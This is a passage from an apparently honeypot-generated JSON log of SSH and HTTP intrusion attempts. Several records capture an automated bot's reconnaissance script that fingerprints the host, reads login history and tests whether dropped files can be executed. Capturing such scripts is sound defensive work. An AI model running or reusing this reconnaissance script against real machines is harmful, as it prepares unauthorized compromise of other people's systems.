  "id": "7698e705-82ba-4ebe-bd3c-9e361da8a3bf",
  "name": "mottled-civil-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 55162,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:13:43.030270+00:00",
  "ended_at": "2026-08-27T06:13:50.325468+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40a6001b-4974-4389-9401-f7fb3388fde0",
  "name": "vivid-languid-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 41054,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:13:18.509803+00:00",
  "ended_at": "2026-08-27T06:13:18.620540+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6ec565d6-eef6-4897-85ad-28cd7925c4d2",
  "name": "alpine-coral-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 38150,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:11:18.657097+00:00",
  "ended_at": "2026-08-27T06:11:18.805853+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9d0f3900-7578-46de-8d1b-a2c4324ea287",
  "name": "creaky-cosmic-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 64158,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:10:46.639328+00:00",
  "ended_at": "2026-08-27T06:11:04.984844+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c368a672-3f5a-45d5-9af9-e7ea0425ac28",
  "name": "foggy-windswept-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 35268,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:09:18.893021+00:00",
  "ended_at": "2026-08-27T06:09:19.004158+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0a3cd012-61fe-4939-a62e-f92fc6f4a86a",
  "name": "canny-coral-gazelle",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "158.23.184.117",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:08:28.731778+00:00",
  "ended_at": "2026-08-27T06:24:08.633326+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "16117087-3752-451c-9720-a3643c22d9eb",
  "name": "whispering-ivory-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 60606,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:07:21.187319+00:00",
  "ended_at": "2026-08-27T06:07:21.403356+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "bb9e24ee-ba9e-4a47-b32a-6fd122053e47",
  "name": "ruddy-smooth-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 57744,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:05:26.721589+00:00",
  "ended_at": "2026-08-27T06:05:26.843138+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a291dd2d-90c0-4584-9cf3-1882218f93c3",
  "name": "mighty-chilly-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 54908,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:03:34.839655+00:00",
  "ended_at": "2026-08-27T06:03:34.985065+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a4622992-1343-4a73-af0e-02375165af41",
